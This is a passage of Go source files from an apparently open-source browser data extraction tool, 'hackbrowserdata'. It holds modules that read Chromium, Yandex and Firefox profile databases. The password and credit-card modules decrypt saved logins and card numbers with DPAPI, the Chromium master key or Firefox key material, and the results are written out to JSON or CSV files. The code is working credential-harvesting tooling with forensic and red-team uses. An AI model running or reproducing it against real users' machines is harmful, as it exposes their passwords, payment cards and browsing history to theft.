				value, err = crypto.DecryptWithDPAPI(encryptValue)
			} else {
				value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
			}
			if err != nil {
				log.Debugf("decrypt chromium credit card error: %v", err)
			}
		}

		ccInfo.CardNumber = string(value)
		*c = append(*c, ccInfo)
	}
	return nil
}

func (c *ChromiumCreditCard) Name() string {
	return "creditcard"
}

func (c *ChromiumCreditCard) Len() int {
	return len(*c)
}

type YandexCreditCard []card

func (c *YandexCreditCard) Extract(masterKey []byte) error {
	db, err := sql.Open("sqlite", types.YandexCreditCard.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.YandexCreditCard.TempFilename())
	defer db.Close()
	rows, err := db.Query(queryChromiumCredit)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			name, month, year, guid, address, nickname string
			value, encryptValue                        []byte
		)
		if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
			log.Debugf("scan chromium credit card error: %v", err)
		}
		ccInfo := card{
			GUID:            guid,
			Name:            name,
			ExpirationMonth: month,
			ExpirationYear:  year,
			Address:         address,
			NickName:        nickname,
		}
		if len(encryptValue) > 0 {
			if len(masterKey) == 0 {
				value, err = crypto.DecryptWithDPAPI(encryptValue)
			} else {
				value, err = crypto.DecryptWithChromium(masterKey, encryptValue)
			}
			if err != nil {
				log.Debugf("decrypt chromium credit card error: %v", err)
			}
		}
		ccInfo.CardNumber = string(value)
		*c = append(*c, ccInfo)
	}
	return nil
}

func (c *YandexCreditCard) Name() string {
	return "creditcard"
}

func (c *YandexCreditCard) Len() int {
	return len(*c)
}


================================================
FILE: browserdata/download/download.go
================================================
package download

import (
	"database/sql"
	"os"
	"sort"
	"strings"
	"time"

	"github.com/tidwall/gjson"
	_ "modernc.org/sqlite" // import sqlite3 driver

	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumDownload, func() extractor.Extractor {
		return new(ChromiumDownload)
	})
	extractor.RegisterExtractor(types.FirefoxDownload, func() extractor.Extractor {
		return new(FirefoxDownload)
	})
}

type ChromiumDownload []download

type download struct {
	TargetPath string
	URL        string
	TotalBytes int64
	StartTime  time.Time
	EndTime    time.Time
	MimeType   string
}

const (
	queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
)

func (c *ChromiumDownload) Extract(_ []byte) error {
	db, err := sql.Open("sqlite", types.ChromiumDownload.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.ChromiumDownload.TempFilename())
	defer db.Close()
	rows, err := db.Query(queryChromiumDownload)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			targetPath, tabURL, mimeType   string
			totalBytes, startTime, endTime int64
		)
		if err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil {
			log.Warnf("scan chromium download error: %v", err)
		}
		data := download{
			TargetPath: targetPath,
			URL:        tabURL,
			TotalBytes: totalBytes,
			StartTime:  typeutil.TimeEpoch(startTime),
			EndTime:    typeutil.TimeEpoch(endTime),
			MimeType:   mimeType,
		}
		*c = append(*c, data)
	}
	sort.Slice(*c, func(i, j int) bool {
		return (*c)[i].TotalBytes > (*c)[j].TotalBytes
	})
	return nil
}

func (c *ChromiumDownload) Name() string {
	return "download"
}

func (c *ChromiumDownload) Len() int {
	return len(*c)
}

type FirefoxDownload []download

const (
	queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
	closeJournalMode     = `PRAGMA journal_mode=off`
)

func (f *FirefoxDownload) Extract(_ []byte) error {
	db, err := sql.Open("sqlite", types.FirefoxDownload.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.FirefoxDownload.TempFilename())
	defer db.Close()

	_, err = db.Exec(closeJournalMode)
	if err != nil {
		log.Debugf("close journal mode error: %v", err)
	}
	rows, err := db.Query(queryFirefoxDownload)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			content, url       string
			placeID, dateAdded int64
		)
		if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
			log.Warnf("scan firefox download error: %v", err)
		}
		contentList := strings.Split(content, ",{")
		if len(contentList) > 1 {
			path := contentList[0]
			json := "{" + contentList[1]
			endTime := gjson.Get(json, "endTime")
			fileSize := gjson.Get(json, "fileSize")
			*f = append(*f, download{
				TargetPath: path,
				URL:        url,
				TotalBytes: fileSize.Int(),
				StartTime:  typeutil.TimeStamp(dateAdded / 1000000),
				EndTime:    typeutil.TimeStamp(endTime.Int() / 1000),
			})
		}
	}
	sort.Slice(*f, func(i, j int) bool {
		return (*f)[i].TotalBytes < (*f)[j].TotalBytes
	})
	return nil
}

func (f *FirefoxDownload) Name() string {
	return "download"
}

func (f *FirefoxDownload) Len() int {
	return len(*f)
}


================================================
FILE: browserdata/extension/extension.go
================================================
package extension

import (
	"fmt"
	"os"
	"strings"

	"github.com/tidwall/gjson"
	"golang.org/x/text/language"

	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumExtension, func() extractor.Extractor {
		return new(ChromiumExtension)
	})
	extractor.RegisterExtractor(types.FirefoxExtension, func() extractor.Extractor {
		return new(FirefoxExtension)
	})
}

type ChromiumExtension []*extension

type extension struct {
	ID          string
	URL         string
	Enabled     bool
	Name        string
	Description string
	Version     string
	HomepageURL string
}

func (c *ChromiumExtension) Extract(_ []byte) error {
	extensionFile, err := fileutil.ReadFile(types.ChromiumExtension.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.ChromiumExtension.TempFilename())

	result, err := parseChromiumExtensions(extensionFile)
	if err != nil {
		return err
	}
	*c = result
	return nil
}

func parseChromiumExtensions(content string) ([]*extension, error) {
	settingKeys := []string{
		"settings.extensions",
		"settings.settings",
		"extensions.settings",
	}
	var settings gjson.Result
	for _, key := range settingKeys {
		settings = gjson.Parse(content).Get(key)
		if settings.Exists() {
			break
		}
	}
	if !settings.Exists() {
		return nil, fmt.Errorf("cannot find extensions in settings")
	}
	var c []*extension

	settings.ForEach(func(id, ext gjson.Result) bool {
		location := ext.Get("location")
		if !location.Exists() {
			return true
		}
		switch location.Int() {
		case 5, 10: // https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom
			return true
		}
		// https://source.chromium.org/chromium/chromium/src/+/main:extensions/browser/disable_reason.h
		enabled := !ext.Get("disable_reasons").Exists()
		b := ext.Get("manifest")
		if !b.Exists() {
			c = append(c, &extension{
				ID:      id.String(),
				Enabled: enabled,
				Name:    ext.Get("path").String(),
			})
			return true
		}
		c = append(c, &extension{
			ID:          id.String(),
			URL:         getChromiumExtURL(id.String(), b.Get("update_url").String()),
			Enabled:     enabled,
			Name:        b.Get("name").String(),
			Description: b.Get("description").String(),
			Version:     b.Get("version").String(),
			HomepageURL: b.Get("homepage_url").String(),
		})
		return true
	})

	return c, nil
}

func getChromiumExtURL(id, updateURL string) string {
	if strings.HasSuffix(updateURL, "clients2.google.com/service/update2/crx") {
		return "https://chrome.google.com/webstore/detail/" + id
	} else if strings.HasSuffix(updateURL, "edge.microsoft.com/extensionwebstorebase/v1/crx") {
		return "https://microsoftedge.microsoft.com/addons/detail/" + id
	}
	return ""
}

func (c *ChromiumExtension) Name() string {
	return "extension"
}

func (c *ChromiumExtension) Len() int {
	return len(*c)
}

type FirefoxExtension []*extension

var lang = language.Und

func (f *FirefoxExtension) Extract(_ []byte) error {
	s, err := fileutil.ReadFile(types.FirefoxExtension.TempFilename())
	if err != nil {
		return err
	}
	_ = os.Remove(types.FirefoxExtension.TempFilename())
	j := gjson.Parse(s)
	for _, v := range j.Get("addons").Array() {
		// https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#157
		if v.Get("location").String() != "app-profile" {
			continue
		}

		if lang != language.Und {
			locale := findFirefoxLocale(v.Get("locales").Array(), lang)
			*f = append(*f, &extension{
				ID:          v.Get("id").String(),
				Enabled:     v.Get("active").Bool(),
				Name:        locale.Get("name").String(),
				Description: locale.Get("description").String(),
				Version:     v.Get("version").String(),
				HomepageURL: locale.Get("homepageURL").String(),
			})
			continue
		}

		*f = append(*f, &extension{
			ID:          v.Get("id").String(),
			Enabled:     v.Get("active").Bool(),
			Name:        v.Get("defaultLocale.name").String(),
			Description: v.Get("defaultLocale.description").String(),
			Version:     v.Get("version").String(),
			HomepageURL: v.Get("defaultLocale.homepageURL").String(),
		})
	}
	return nil
}

func findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) gjson.Result {
	tags := make([]language.Tag, 0, len(locales))
	indices := make([]int, 0, len(locales))
	for i, locale := range locales {
		for _, tagStr := range locale.Get("locales").Array() {
			tag, _ := language.Parse(tagStr.String())
			if tag == language.Und {
				continue
			}
			tags = append(tags, tag)
			indices = append(indices, i)
		}
	}
	_, tagIndex, _ := language.NewMatcher(tags).Match(targetLang)
	return locales[indices[tagIndex]]
}

func (f *FirefoxExtension) Name() string {
	return "extension"
}

func (f *FirefoxExtension) Len() int {
	return len(*f)
}


================================================
FILE: browserdata/history/history.go
================================================
package history

import (
	"database/sql"
	"os"
	"sort"
	"time"

	// import sqlite3 driver
	_ "modernc.org/sqlite"

	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumHistory, func() extractor.Extractor {
		return new(ChromiumHistory)
	})
	extractor.RegisterExtractor(types.FirefoxHistory, func() extractor.Extractor {
		return new(FirefoxHistory)
	})
}

type ChromiumHistory []history

type history struct {
	Title         string
	URL           string
	VisitCount    int
	LastVisitTime time.Time
}

const (
	queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
)

func (c *ChromiumHistory) Extract(_ []byte) error {
	db, err := sql.Open("sqlite", types.ChromiumHistory.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.ChromiumHistory.TempFilename())
	defer db.Close()

	rows, err := db.Query(queryChromiumHistory)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			url, title    string
			visitCount    int
			lastVisitTime int64
		)
		if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
			log.Warnf("scan chromium history error: %v", err)
		}
		data := history{
			URL:           url,
			Title:         title,
			VisitCount:    visitCount,
			LastVisitTime: typeutil.TimeEpoch(lastVisitTime),
		}
		*c = append(*c, data)
	}
	sort.Slice(*c, func(i, j int) bool {
		return (*c)[i].VisitCount > (*c)[j].VisitCount
	})
	return nil
}

func (c *ChromiumHistory) Name() string {
	return "history"
}

func (c *ChromiumHistory) Len() int {
	return len(*c)
}

type FirefoxHistory []history

const (
	queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COALESCE(title, ''), visit_count FROM moz_places`
	closeJournalMode    = `PRAGMA journal_mode=off`
)

func (f *FirefoxHistory) Extract(_ []byte) error {
	db, err := sql.Open("sqlite", types.FirefoxHistory.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.FirefoxHistory.TempFilename())
	defer db.Close()

	_, err = db.Exec(closeJournalMode)
	if err != nil {
		return err
	}
	defer db.Close()
	rows, err := db.Query(queryFirefoxHistory)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var (
			id, visitDate int64
			url, title    string
			visitCount    int
		)
		if err = rows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
			log.Debugf("scan firefox history error: %v", err)
		}
		*f = append(*f, history{
			Title:         title,
			URL:           url,
			VisitCount:    visitCount,
			LastVisitTime: typeutil.TimeStamp(visitDate / 1000000),
		})
	}
	sort.Slice(*f, func(i, j int) bool {
		return (*f)[i].VisitCount < (*f)[j].VisitCount
	})
	return nil
}

func (f *FirefoxHistory) Name() string {
	return "history"
}

func (f *FirefoxHistory) Len() int {
	return len(*f)
}


================================================
FILE: browserdata/imports.go
================================================
// Package browserdata is responsible for initializing all the necessary
// components that handle different types of browser data extraction.
// This file, imports.go, is specifically used to import various data
// handler packages to ensure their initialization logic is executed.
// These imports are crucial as they trigger the `init()` functions
// within each package, which typically handle registration of their
// specific data handlers to a central registry.
package browserdata

import (
	_ "github.com/moond4rk/hackbrowserdata/browserdata/bookmark"
	_ "github.com/moond4rk/hackbrowserdata/browserdata/cookie"
	_ "github.com/moond4rk/hackbrowserdata/browserdata/creditcard"
	_ "github.com/moond4rk/hackbrowserdata/browserdata/download"
	_ "github.com/moond4rk/hackbrowserdata/browserdata/extension"
	_ "github.com/moond4rk/hackbrowserdata/browserdata/history"
	_ "github.com/moond4rk/hackbrowserdata/browserdata/localstorage"
	_ "github.com/moond4rk/hackbrowserdata/browserdata/password"
	_ "github.com/moond4rk/hackbrowserdata/browserdata/sessionstorage"
)


================================================
FILE: browserdata/localstorage/localstorage.go
================================================
package localstorage

import (
	"bytes"
	"database/sql"
	"fmt"
	"os"
	"strings"

	"github.com/syndtr/goleveldb/leveldb"
	"golang.org/x/text/encoding/unicode"
	"golang.org/x/text/transform"

	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/byteutil"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumLocalStorage, func() extractor.Extractor {
		return new(ChromiumLocalStorage)
	})
	extractor.RegisterExtractor(types.FirefoxLocalStorage, func() extractor.Extractor {
		return new(FirefoxLocalStorage)
	})
}

type ChromiumLocalStorage []storage

type storage struct {
	IsMeta bool
	URL    string
	Key    string
	Value  string
}

const maxLocalStorageValueLength = 1024 * 2

func (c *ChromiumLocalStorage) Extract(_ []byte) error {
	db, err := leveldb.OpenFile(types.ChromiumLocalStorage.TempFilename(), nil)
	if err != nil {
		return err
	}
	defer os.RemoveAll(types.ChromiumLocalStorage.TempFilename())
	defer db.Close()

	iter := db.NewIterator(nil, nil)
	for iter.Next() {
		key := iter.Key()
		value := iter.Value()
		s := new(storage)
		s.fillKey(key)
		// don't all value upper than 2KB
		if len(value) < maxLocalStorageValueLength {
			s.fillValue(value)
		} else {
			s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
		}
		if s.IsMeta {
			s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
		}
		*c = append(*c, *s)
	}
	iter.Release()
	err = iter.Error()
	return err
}

func (c *ChromiumLocalStorage) Name() string {
	return "localStorage"
}

func (c *ChromiumLocalStorage) Len() int {
	return len(*c)
}

func (s *storage) fillKey(b []byte) {
	keys := bytes.Split(b, []byte("\x00"))
	if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
		s.IsMeta = true
		s.fillMetaHeader(keys[0])
	}
	if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
		s.fillHeader(keys[0], keys[1])
	}
}

func (s *storage) fillMetaHeader(b []byte) {
	s.URL = string(bytes.Trim(b, "META:"))
}

func (s *storage) fillHeader(url, key []byte) {
	s.URL = string(bytes.Trim(url, "_"))
	s.Key = string(bytes.Trim(key, "\x01"))
}

func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
	r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
	return r, err
}

// fillValue fills value of the storage
// TODO: support unicode charter
func (s *storage) fillValue(b []byte) {
	value := bytes.Map(byteutil.OnSplitUTF8Func, b)
	s.Value = string(value)
}

type FirefoxLocalStorage []storage

const (
	queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`
	closeJournalMode  = `PRAGMA journal_mode=off`
)

func (f *FirefoxLocalStorage) Extract(_ []byte) error {
	db, err := sql.Open("sqlite", types.FirefoxLocalStorage.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.FirefoxLocalStorage.TempFilename())
	defer db.Close()

	_, err = db.Exec(closeJournalMode)
	if err != nil {
		log.Debugf("close journal mode error: %v", err)
	}
	rows, err := db.Query(queryLocalStorage)
	if err != nil {
		return err
	}
	defer rows.Close()
	for rows.Next() {
		var originKey, key, value string
		if err = rows.Scan(&originKey, &key, &value); err != nil {
			log.Debugf("scan firefox local storage error: %v", err)
		}
		s := new(storage)
		s.fillFirefox(originKey, key, value)
		*f = append(*f, *s)
	}
	return nil
}

func (s *storage) fillFirefox(originKey, key, value string) {
	// originKey = moc.buhtig.:https:443
	p := strings.Split(originKey, ":")
	h := typeutil.Reverse([]byte(p[0]))
	if bytes.HasPrefix(h, []byte(".")) {
		h = h[1:]
	}
	if len(p) == 3 {
		s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
	}
	s.Key = key
	s.Value = value
}

func (f *FirefoxLocalStorage) Name() string {
	return "localStorage"
}

func (f *FirefoxLocalStorage) Len() int {
	return len(*f)
}


================================================
FILE: browserdata/localstorage/localstorage_test.go
================================================
package localstorage

import (
	"testing"

	"github.com/stretchr/testify/assert"
	"golang.org/x/text/encoding/unicode"
)

var testCases = []struct {
	in     []byte
	wanted []byte
	actual []byte
}{
	{
		in:     []byte{0x0, 0x7b, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x68, 0x0, 0x74, 0x0, 0x74, 0x0, 0x70, 0x0, 0x73, 0x0, 0x3a, 0x0, 0x2f, 0x0, 0x2f, 0x0, 0x77, 0x0, 0x77, 0x0, 0x77, 0x0, 0x2e, 0x0, 0x76, 0x0, 0x6f, 0x0, 0x6c, 0x0, 0x63, 0x0, 0x65, 0x0, 0x6e, 0x0, 0x67, 0x0, 0x69, 0x0, 0x6e, 0x0, 0x65, 0x0, 0x2e, 0x0, 0x63, 0x0, 0x6f, 0x0, 0x6d, 0x0, 0x2f, 0x0, 0x70, 0x0, 0x72, 0x0, 0x6f, 0x0, 0x64, 0x0, 0x75, 0x0, 0x63, 0x0, 0x74, 0x0, 0x73, 0x0, 0x2f, 0x0, 0x66, 0x0, 0x65, 0x0, 0x69, 0x0, 0x6c, 0x0, 0x69, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x74, 0x0, 0x69, 0x0, 0x74, 0x0, 0x6c, 0x0, 0x65, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0xde, 0x98, 0xde, 0x8f, 0x2d, 0x0, 0x6b, 0x70, 0x71, 0x5c, 0x15, 0x5f, 0xce, 0x64, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6d, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x75, 0x0, 0x61, 0x0, 0x6c, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x22, 0x0, 0x7d, 0x0},
		wanted: []byte(`{"refer_key":"https://www.volcengine.com/product/feilian","refer_title":"飞连_SSO单点登录_VPN_终端安全合规_便捷Wifi认证-火山引擎","refer_manual_key":""}`),
		actual: []byte{0x7b, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x6f, 0x6c, 0x63, 0x65, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x66, 0x65, 0x69, 0x6c, 0x69, 0x61, 0x6e, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3a, 0x22, 0xc3, 0x9e, 0xe9, 0xa3, 0x9e, 0xe8, 0xbc, 0xad, 0x6b, 0xe7, 0x81, 0xb1, 0xe5, 0xb0, 0x95, 0xe5, 0xbf, 0x8e, 0xe6, 0x90, 0xa2, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6d, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x22, 0x7d, 0xef, 0xbf, 0xbd},
	},
}

func TestLocalStorageKeyToUTF8(t *testing.T) {
	t.Parallel()
	for _, tc := range testCases {
		actual, err := convertUTF16toUTF8(tc.in, unicode.BigEndian)
		if err != nil {
			t.Error(err)
		}
		// TODO: fix this, value from local storage if contains chinese characters, need convert utf16 to utf8
		// but now, it can't convert, so just skip it.
		assert.Equal(t, tc.actual, actual, "chinese characters can't actual convert")
	}
}


================================================
FILE: browserdata/outputter.go
================================================
package browserdata

import (
	"encoding/csv"
	"encoding/json"
	"errors"
	"io"
	"os"
	"path/filepath"

	"github.com/gocarina/gocsv"
	"golang.org/x/text/encoding/unicode"
	"golang.org/x/text/transform"

	"github.com/moond4rk/hackbrowserdata/extractor"
)

type outPutter struct {
	json bool
	csv  bool
}

func newOutPutter(flag string) *outPutter {
	o := &outPutter{}
	if flag == "json" {
		o.json = true
	} else {
		o.csv = true
	}
	return o
}

func (o *outPutter) Write(data extractor.Extractor, writer io.Writer) error {
	switch o.json {
	case true:
		encoder := json.NewEncoder(writer)
		encoder.SetIndent("", "  ")
		encoder.SetEscapeHTML(false)
		return encoder.Encode(data)
	default:
		gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter {
			writer := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder()))
			writer.Comma = ','
			return gocsv.NewSafeCSVWriter(writer)
		})
		return gocsv.Marshal(data, writer)
	}
}

func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
	if filename == "" {
		return nil, errors.New("empty filename")
	}

	if dir != "" {
		if _, err := os.Stat(dir); os.IsNotExist(err) {
			err := os.MkdirAll(dir, 0o750)
			if err != nil {
				return nil, err
			}
		}
	}

	var file *os.File
	var err error
	p := filepath.Join(dir, filename)
	file, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
	if err != nil {
		return nil, err
	}
	return file, nil
}

func (o *outPutter) Ext() string {
	if o.json {
		return "json"
	}
	return "csv"
}


================================================
FILE: browserdata/outputter_test.go
================================================
package browserdata

import (
	"os"
	"testing"
)

func TestNewOutPutter(t *testing.T) {
	t.Parallel()
	out := newOutPutter("json")
	if out == nil {
		t.Error("New() returned nil")
	}
	f, err := out.CreateFile("results", "test.json")
	if err != nil {
		t.Error("CreateFile() returned an error", err)
	}
	defer os.RemoveAll("results")
	err = out.Write(nil, f)
	if err != nil {
		t.Error("Write() returned an error", err)
	}
}


================================================
FILE: browserdata/password/password.go
================================================
package password

import (
	"database/sql"
	"encoding/base64"
	"os"
	"sort"
	"time"

	"github.com/tidwall/gjson"
	_ "modernc.org/sqlite" // import sqlite3 driver

	"github.com/moond4rk/hackbrowserdata/crypto"
	"github.com/moond4rk/hackbrowserdata/extractor"
	"github.com/moond4rk/hackbrowserdata/log"
	"github.com/moond4rk/hackbrowserdata/types"
	"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)

func init() {
	extractor.RegisterExtractor(types.ChromiumPassword, func() extractor.Extractor {
		return new(ChromiumPassword)
	})
	extractor.RegisterExtractor(types.YandexPassword, func() extractor.Extractor {
		return new(YandexPassword)
	})
	extractor.RegisterExtractor(types.FirefoxPassword, func() extractor.Extractor {
		return new(FirefoxPassword)
	})
}

type ChromiumPassword []loginData

type loginData struct {
	UserName    string
	encryptPass []byte
	encryptUser []byte
	Password    string
	LoginURL    string
	CreateDate  time.Time
}

const (
	queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)

func (c *ChromiumPassword) Extract(masterKey []byte) error {
	db, err := sql.Open("sqlite", types.ChromiumPassword.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.ChromiumPassword.TempFilename())
	defer db.Close()

	rows, err := db.Query(queryChromiumLogin)
	if err != nil {
		return err
	}
	defer rows.Close()

	for rows.Next() {
		var (
			url, username string
			pwd, password []byte
			create        int64
		)
		if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
			log.Debugf("scan chromium password error: %v", err)
		}
		login := loginData{
			UserName:    username,
			encryptPass: pwd,
			LoginURL:    url,
		}

		if len(pwd) > 0 {
			password, err = crypto.DecryptWithDPAPI(pwd)
			if err != nil {
				password, err = crypto.DecryptWithChromium(masterKey, pwd)
				if err != nil {
					log.Debugf("decrypt chromium password error: %v", err)
				}
			}
		}

		if create > time.Now().Unix() {
			login.CreateDate = typeutil.TimeEpoch(create)
		} else {
			login.CreateDate = typeutil.TimeStamp(create)
		}
		login.Password = string(password)
		*c = append(*c, login)
	}
	// sort with create date
	sort.Slice(*c, func(i, j int) bool {
		return (*c)[i].CreateDate.After((*c)[j].CreateDate)
	})
	return nil
}

func (c *ChromiumPassword) Name() string {
	return "password"
}

func (c *ChromiumPassword) Len() int {
	return len(*c)
}

type YandexPassword []loginData

const (
	queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
)

func (c *YandexPassword) Extract(masterKey []byte) error {
	db, err := sql.Open("sqlite", types.YandexPassword.TempFilename())
	if err != nil {
		return err
	}
	defer os.Remove(types.YandexPassword.TempFilename())
	defer db.Close()

	rows, err := db.Query(queryYandexLogin)
	if err != nil {
		return err
	}
	defer rows.Close()

	for rows.Next() {
		var (
			url, username string
			pwd, password []byte
			create        int64
		)
		if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
			log.Debugf("scan yandex password error: %v", err)
		}
		login := loginData{
			UserName:    username,
			encryptPass: pwd,
			LoginURL:    url,
		}

		if len(pwd) > 0 {
			if len(masterKey) == 0 {
				password, err = crypto.DecryptWithDPAPI(pwd)
			} else {
				password, err = crypto.DecryptWithChromium(masterKey, pwd)
			}
			if err != nil {
				log.Debugf("decrypt yandex password error: %v", err)
			}
		}
		if create > time.Now().Unix() {
			login.CreateDate = typeutil.TimeEpoch(create)
		} else {
			login.CreateDate = typeutil.TimeStamp(create)
		}
		login.Password = string(password)
		*c = append(*c, login)
	}
	// sort with create date
	sort.Slice(*c, func(i, j int) bool {
		return (*c)[i].CreateDate.After((*c)[j].CreateDate)
	})
	return nil
}

func (c *YandexPassword) Name() string {
	return "password"
}

func (c *YandexPassword) Len() int {
	return len(*c)
}

type FirefoxPassword []loginData

func (f *FirefoxPassword) Extract(globalSalt []byte) error {
	logins, err := getFirefoxLoginData()
	if err != nil {
		return err
	}

	for _, v := range logins {
		userPBE, err := crypto.NewASN1PBE(v.encryptUser)
		if err != nil {
			return err
		}
		pwdPBE, err := crypto.NewASN1PBE(v.encryptPass)
		if err != nil {
			return err
		}
		user, err := userPBE.Decrypt(globalSalt)
		if err != nil {
			return err
		}
		pwd, err := pwdPBE.Decrypt(globalSalt)
		if err != nil {
			return err
		}
		*f = append(*f, loginData{
			LoginURL:   v.LoginURL,
			UserName:   string(user),
			Password:   string(pwd),
			CreateDate: v.CreateDate,
		})
	}

	sort.Slice(*f, func(i, j int) bool {
		return (*f)[i].CreateDate.After((*f)[j].CreateDate)
	})
	return nil
}

func getFirefoxLoginData() ([]loginData, error) {
	s, err := os.ReadFile(types.FirefoxPassword.TempFilename())
	if err != nil {
		return nil, err
	}
	defer os.Remove(types.FirefoxPassword.TempFilename())
	loginsJSON := gjson.GetBytes(s, "logins")
	var logins []loginData
	if loginsJSON.Exists() {
		for _, v := range loginsJSON.Array() {
			var (
				m    loginData
				user []byte
				pass []byte
			)
			// Use formSubmitURL if available, otherwise fallback to hostname
			m.LoginURL = v.Get("formSubmitURL").String()
			if m.LoginURL == "" {
				m.LoginURL = v.Get("hostname").String()
			}
			user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
			if err != nil {
				return nil, err
			}
			pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
			if err != nil {
				return nil, err
			}
			m.encryptUser = user
			m.encryptPass = pass
			m.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
			logins = append(logins, m)
		}
	}
	return logins, nil
}

func (f *FirefoxPassword) Name() string {
	return "password"
}

func (f *FirefoxPassword) Len() int {
	return len(*f)
}


================================================
FILE: browserdata/sessionstorage/sessionstorage.go
================================================
package sessionstorage

import (
	"bytes"
	"database/sql"
	"fmt"
	"os"
	"strings"

	"github.com/syndtr/goleveldb/leveldb"
	"golang.org/x/text/encoding/unicode"
	"golang.org/x/text/transform"

	"github.com/moond4rk/hackbrowserdata/extractor"
